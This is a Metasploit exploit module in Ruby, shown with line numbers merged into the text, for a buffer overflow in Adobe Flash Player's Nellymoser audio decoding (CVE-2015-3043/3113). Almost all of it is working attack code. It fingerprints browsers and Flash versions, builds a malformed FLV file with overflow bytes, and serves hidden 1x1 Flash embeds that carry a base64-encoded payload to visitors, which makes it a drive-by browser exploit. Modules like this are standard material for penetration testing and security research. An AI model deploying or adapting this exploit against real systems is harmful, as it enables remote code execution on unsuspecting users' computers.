Path: blob/master/modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb
32442 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::BrowserExploitServer910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Adobe Flash Player Nellymoser Audio Decoding Buffer Overflow',15'Description' => %q{16This module exploits a buffer overflow on Adobe Flash Player when handling nellymoser17encoded audio inside a FLV video, as exploited in the wild on June 2015. This module18has been tested successfully on:1920Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.160,21Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.160,22Windows 8.1, Firefox 38.0.5 and Adobe Flash 18.0.0.160,23Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.466, and24Ubuntu 14.04.2 LTS, Firefox 35.01, and Adobe Flash 11.2.202.466.2526Note that this exploit is effective against both CVE-2015-3113 and the27earlier CVE-2015-3043, since CVE-2015-3113 is effectively a regression28to the same root cause as CVE-2015-3043.29},30'License' => MSF_LICENSE,31'Author' => [32'Unknown', # Exploit in the wild33'juan vazquez' # msf module34],35'References' => [36['CVE', '2015-3043'],37['CVE', '2015-3113'],38['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-06.html'],39['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-14.html'],40['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/new-adobe-zero-day-shares-same-root-cause-as-older-flaws/'],41['URL', 'http://malware.dontneedcoffee.com/2015/06/cve-2015-3113-flash-up-to-1800160-and.html'],42['URL', 'http://bobao.360.cn/learning/detail/357.html']43],44'Payload' => {45'DisableNops' => true46},47'Arch' => [ARCH_X86],48'BrowserRequirements' => {49source: /script|headers/i,50arch: ARCH_X86,51os_name: lambda do |os|52os =~ OperatingSystems::Match::LINUX ||53os =~ OperatingSystems::Match::WINDOWS_7 ||54os =~ OperatingSystems::Match::WINDOWS_8155end,56ua_name: lambda do |ua|57case target.name58when 'Windows'59return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF60when 'Linux'61return true if ua == Msf::HttpClients::FF62end6364false65end,66flash: lambda do |ver|67case target.name68when 'Windows'69return true if ver =~ /^18\./ && Rex::Version.new(ver) <= Rex::Version.new('18.0.0.161')70return true if ver =~ /^17\./ && Rex::Version.new(ver) != Rex::Version.new('17.0.0.169')71when 'Linux'72return true if ver =~ /^11\./ && Rex::Version.new(ver) <= Rex::Version.new('11.2.202.466') && Rex::Version.new(ver) != Rex::Version.new('11.2.202.457')73end7475false76end77},78'Targets' => [79[80'Windows',81{82'Platform' => 'win'83}84],85[86'Linux',87{88'Platform' => 'linux'89}90]91],92'Privileged' => false,93'DisclosureDate' => '2015-06-23',94'DefaultTarget' => 0,95'Notes' => {96'Reliability' => UNKNOWN_RELIABILITY,97'Stability' => UNKNOWN_STABILITY,98'SideEffects' => UNKNOWN_SIDE_EFFECTS99}100)101)102end103104def exploit105@swf = create_swf106@flv = create_flv107108super109end110111def on_request_exploit(cli, request, target_info)112print_status("Request: #{request.uri}")113114if request.uri =~ /\.swf$/115print_status('Sending SWF...')116send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache' })117return118end119120if request.uri =~ /\.flv$/121print_status('Sending FLV...')122send_response(cli, @flv, { 'Content-Type' => 'video/x-flv', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache' })123return124end125126print_status('Sending HTML...')127send_exploit_html(cli, exploit_template(cli, target_info), { 'Pragma' => 'no-cache' })128end129130def exploit_template(cli, target_info)131swf_random = "#{rand_text_alpha(rand(4..6))}.swf"132target_payload = get_payload(cli, target_info)133b64_payload = Rex::Text.encode_base64(target_payload)134os_name = target_info[:os_name]135136if target.name =~ /Windows/137platform_id = 'win'138elsif target.name =~ /Linux/139platform_id = 'linux'140end141142html_template = %(<html>143<body>144<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />145<param name="movie" value="<%=swf_random%>" />146<param name="allowScriptAccess" value="always" />147<param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" />148<param name="Play" value="true" />149<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" Play="true"/>150</object>151</body>152</html>153)154155return html_template, binding156end157158def create_swf159path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-3113', 'msf.swf')160swf = ::File.open(path, 'rb') { |f| swf = f.read }161162swf163end164165def create_flv166header = ''167header << 'FLV' # signature168header << [1].pack('C') # version169header << [4].pack('C') # Flags: TypeFlagsAudio170header << [9].pack('N') # DataOffset171172data = ''173data << "\x68" # fmt = 6 (Nellymoser), SoundRate: 2, SoundSize: 0, SoundType: 0174data << "\xee" * 0x440 # SoundData175176tag1 = ''177tag1 << [8].pack('C') # TagType (audio)178tag1 << "\x00\x04\x41" # DataSize179tag1 << "\x00\x00\x1a" # TimeStamp180tag1 << [0].pack('C') # TimeStampExtended181tag1 << "\x00\x00\x00" # StreamID, always 0182tag1 << data183184body = ''185body << [0].pack('N') # PreviousTagSize186body << tag1187body << [0xeeeeeeee].pack('N') # PreviousTagSize188189flv = ''190flv << header191flv << body192193flv194end195end196197198